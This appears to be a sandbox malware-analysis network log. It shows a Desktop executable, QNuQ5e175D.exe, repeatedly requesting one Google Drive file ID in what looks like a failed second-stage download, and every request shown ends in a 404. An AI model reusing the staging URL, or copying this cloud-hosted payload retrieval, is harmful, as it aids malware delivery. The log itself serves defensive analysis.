2025-01-11 04:06:33 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:33 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-pDsmKsePd-doQq1HXRjUBQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.11	50009	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:33 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:34 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgQXvR-tNun8oF6h2AJeaiM-s_JBDeo1NU9sAJFSmQacNubRX_LWFOvDadNiIAOsQr8xuGKw_9c Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:34 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-Sr-QOMmIQmf3bT0lgyT03g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:34 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 68 76 30 69 45 38 6a 78 76 36 48 59 6b 2d 61 59 4d 58 72 76 46 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="hv0iE8jxv6HYk-aYMXrvFg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.11	50010	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:35 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:35 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:35 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-O6PHzXdKzQlb11snWSF4FQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.11	50011	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:36 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:36 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgRra7MWenIshM3a-QP2-m8yXQFvprUxQzcmwhIrcVXR1PcE1StUuTPeV-Wo1ZGvFV5qvh2q58M Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:36 GMT Content-Security-Policy: script-src 'nonce-7A2aM0fmOZd6YDBTFBZkMQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:36 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 48 56 2d 6c 76 79 47 52 36 31 49 49 57 68 69 78 4a 41 37 78 2d 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="HV-lvyGR61IIWhixJA7x-A">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.11	50012	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:37 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:37 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:37 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-H6bzgUX1Je4ck82K8y8T9Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.11	50013	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:38 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:38 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgSZyitYiO5EdNtK-X7LCxuP3F6eoV2fKRHBh9YP8rCDEI_bndV51fwn3pJnUjU7fGvqhFXdqWA Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:38 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-NXrNcZZndc15c350Ma_XUQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:38 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 36 66 39 62 36 38 56 70 54 70 4a 4f 53 64 68 64 42 61 6d 34 66 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="6f9b68VpTpJOSdhdBam4fQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.11	50014	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:39 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:40 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:39 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-JEJ6SSe87iPDMIhfFLoIwQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.11	50015	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:40 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:41 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgQek9oxGzHmMKbubWnjsv59Va3Yul-Y0-icPFplRdWlxjvuF4aA3hr3ER2RAc-rnvhM Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:40 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-yWbgOx3ZGeyd64PSbVuhbg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:41 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 43 68 75 6b 4b 57 79 48 74 34 33 75 61 34 52 34 32 55 74 43 63 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ChukKWyHt43ua4R42UtCcw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.11	50016	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:41 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
